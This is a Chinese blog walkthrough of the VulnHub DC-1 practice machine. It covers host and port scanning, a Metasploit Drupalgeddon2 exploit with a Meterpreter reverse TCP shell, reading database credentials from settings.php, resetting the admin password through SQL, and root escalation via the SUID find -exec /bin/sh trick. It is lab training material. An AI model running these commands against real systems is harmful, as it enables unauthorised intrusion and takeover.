VulnHub仿真靶机渗透之DC-1 【DC系列】


VulnHub有很多仿真靶机,这次渗透是DC系列的DC-1,包含了Drupal框架漏洞和suid提权等知识。

VulnHub靶机渗透之DC-1 【DC系列】

靶机描述与下载链接:https://www.vulnhub.com/entry/dc-1,292/

发现主机 —> 靶机ip:192.168.124.130

nmap -sP 192.168.124.0/24
# nmap ping扫描 -sP

1646224528915

netdiscover -r 192.168.124.0/24 

1646224347329

arp-scan -l

1646224093605

扫描靶机开放端口-》22、80、111、54150

nmap -p1-65535 192.168.124.130  
# nmap指定端口扫描,查看是否开放 -p

1646224787388

扫描靶机操作系统-》Linux 3.X

1646224959511

nmap进行完整全面的扫描

Nmap进行完整全面的扫描

nmap –T4 –A –v   192.168.124.130
看起来还是挺多的
-A:使用进攻性方式扫描;
-T4:指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况良好的情况推荐使用T4;
-v表示显示冗余(verbosity)信息,在扫描过程中显示扫描的细节。

但是 冗余细节太多了,我们还是去掉 -v1646225545043

nmap –T4 –A   192.168.124.130

1646226466845

80端口是drupal 7 服务

111 端口是 rpcbind服务

网站还有robots.txt,不能爬取的有那36个目录,可以看看

大部分都是403forbidden和access denied

1646226706196

1646226907705

创个用户,下图反映出肯定有admin管理员用户存在。

1646226965872

对网站进行指纹识别:发现是个Drupal 7的cms

通过插件wappalyzer可以简单识别,也可以通过WhatWeb工具扫描查看详细指纹信息。

1646225759189

Whatweb是一个基于Ruby语言的开源网站指纹识别软件,whatweb能够识别各种关于网站的详细信息包括:CMS类型、博客平台、中间件、web框架模块、网站服务器、脚本类型、JavaScript库、IP、cookie等等。

whatweb -v  192.168.124.130 
-v 详细显示扫描的结果

1646226244572

对网站进行目录扫描

dirb是基于字典的Web目录扫描工具。该工具根据用户提供的字典,对目标网站目录进行暴力猜测。它会尝试以递归方式进行爆破,以发现更多的路径。

dirb http://192.168.124.130    

发现了一些目录,但是没啥用

1646227430664

http://192.168.124.130/xmlrpc.php

1646227359957

MSF使用Drupal框架漏洞突破

#打开msf
msfconsole

#搜索漏洞
search drupal

#查看1模块:exploit/unix/webapp/drupal_drupalgeddon2 的描述信息,看看是否可以使用
info 1

#查看5模块:exploit/unix/webapp/drupal_restws_unserialize 的描述信息,看看是否可以使用
info 5

1646227562528

1646365980084

1646366045144

1646366282652

1646366294240

看描述版本都符合,但是exploit/unix/webapp/drupal_restws_unserialize试了一下,不得行

1646366461097

# 使用1序号这个模块
msf>use 1

# 设置payload【payload是利用漏洞exploit之后,在靶机上执行任务时所需的实际代码】
msf>set payload php/meterpreter/reverse_tcp
【reverse_tcp是反向shell 被攻击的靶机主动连接攻击机器kali】
【反向连接一般用被攻击者处于内网,攻击者在外网的情况。对于实际的渗透测试过程来说,我们常常使用的往往是反弹shell的方式来突破边界防火墙的限制。】
【我们不能确定应该选择反向 (reverse)Shell 还是正向 (bind)Shell 的时候就使用反向shell,因为采用reverse的方法一般较为安全,因为是在被攻击机连接攻击机,所以一般不会被防火墙发现;而bind在测试机打开端口时很容易被安全软件和防火墙发现】

1646227826898

msf>show options
# 会列出我们选择的这个模块所需的各种参数。

1646227967809

LHOSTS是反弹回来的地址,即我们这台攻击者kali的ip地址,反弹窗口默认都是4444

#设置受害者ip:RHOSTS
set RHOSTS 192.168.124.130

# 发动攻击
msf>exploit

1646228178866

进入Meterpreter会话【后渗透阶段】,这说明攻击生效了

1646228571153

这时我们输入shell进入cmd

1646228621131

whoami->www-data 不是root用户

ls->发现有个flag1.txt

cat flag1.txt 查看flag内容:暗示我们要在配置文件中寻找setting、config啥的都可以看看

1646228701959

exit退出shell之后,help查看meterpreter帮助命令

1646230019941

获取一个完全交互式shell输入:

​ python -c ‘import pty;pty.spawn (“/bin/bash”)’

1646232171679

刚才flag1.txt里面的暗示实在配置文件找

find . -name *setting*
find . -name *setting*
find .是在当前路径下面找

各种查找,出现的都看了一下,最后发现了flag存在于默认文件 ./sites/default/settings.php中

cat  ./sites/default/settings.php |grep flag

1646231611484

1646231842940

1646231779389

仔细看看里面的flag提示

cat ./sites/default/settings.php

1646232262859

我们还拿到了mysql数据库的账号密码

‘database’ => ‘drupaldb’,
‘username’ => ‘dbuser’,
‘password’ => ‘R0ck3t’,

mysql -u dbuser -pR0ck3t

使用获得的账号密码登录数据库

1646232509043

show databases;          #查看数据库

use drupaldb; #选择数据库

show tables; #查看当前数据库下的表名

1646232591220

可以看到users表

1646232628076

select * from users; 

看到了admin用户和加过密的密码

1646232720738

我们虽然不能查看密码,但是我们可以更改admin密码【密码重置】

在网上搜到\scripts\password-hash.sh这个是加密密码的脚本文件。

1646232881497

exit退出mysql

输入php scripts/password-hash.sh 123456

这个时候我们获取了123456 加密后的密码

1646233078803

进入数据库执行更新语句,进行admin用户的密码重新设置。

update users set pass='$S$DuAzjjytMdHT3mmydQXhExGwi6pvHcLImfbhuguLIgY5rFIjauMQ'where uid=1;

1646233200985

1646233262370

image-20240301130606031

看到已经修改成功。

1646233338997

1:我们可以利用hashcat对加密后的密码进行破解,但是比较费时间。

2:可以更改admin密码【密码重置】 ,本文中采用这个方法。

3:在exploitdb中有一个Drupal7的攻击脚本,可以增加一个admin权限的账号。【 这篇文章有写 https://cloud.tencent.com/developer/article/1472192?from=article.detail.1472722】

在网上搜到\scripts\password-hash.sh这个是加密密码的脚本文件。

img

exit退出mysql

输入php scripts/password-hash.sh 123456

这个时候我们获取了123456 加密后的密码

![img](D:\new start\new start\考研后\一些项目需要的技能\实习\靶场\仿真渗透环境\vulnhub\dc系列\assets\1646233078803-1024x174.png)

进入数据库执行更新语句,进行admin用户的密码重新设置。

update users set pass='$S$DuAzjjytMdHT3mmydQXhExGwi6pvHcLImfbhuguLIgY5rFIjauMQ'where uid=1;

img

img

img

看到已经修改成功。【后面的图片都挂掉了 没备份 ,只能看看文字了】

然后我们登录试试【admin 123456】

登陆进去了,到处看看有没有flag。

提示:shadow 文件 passwd文件 -exec 参数

想要看/etc/shadow,权限不够【Linux为了考虑安全性,用单独的shadow文件存储Linux用户的密码信息,并且只有root用户有权限读取此文件。】。看了/etc/passwd发现flag4

发现flag4: 提醒我们需要越权->root

用SUID命令提权。【是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限。例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似,只是执行程序时获得的是文件属组的权限。】

find / -user root -perm -4000 -print 2>/dev/null 命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。【find / -perm -4000 这个也行】

可以看到find也在其中,直接使用find命令进行越权。

flag3提示利用find的-exec参数,因为find在执行时临时得到了root权限,所以-exec后面的命令是以root权限执行的,执行一个/bin/sh就拿到root shell了。

find / -exec “/bin/sh” ;

总结:通过这个靶机学到了

​ 1.使用nmap ,netdiscover 、arp-scan、what-web、dirb进行信息收集,获取到靶机。

​ 2.了解到drupal是PHP的CMS框架,msf有Drupal框架漏洞突破的模块,了解了drupal数据库密码生成位置,和数据库配置。

​ 3.掌握了MSF的基础使用方法,通过MSF框架进行对靶机项目的漏洞利用。

​ 4.学会了suid提权,通过find获取到root的suid,suid具有传递性,从而拿到root权限。

参考链接:

https://shu1l.github.io/2020/04/27/msf-fan-dan-payload-xue-xi/ 【msf反弹payload学习 】

https://blog.csdn.net/weixin_54515836/article/details/119263733【msf的reverse_tcp和bind_tcp两者的区别】

https://cloud.tencent.com/developer/article/1472192?from=article.detail.1472722 【VulnHub靶机渗透之DC:1】

打靶系列之 – dc-1 【零度安全攻防实验室】

韭要打vulnhub之DC-1 Writeup


文章作者: highgerms
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 highgerms !
  目录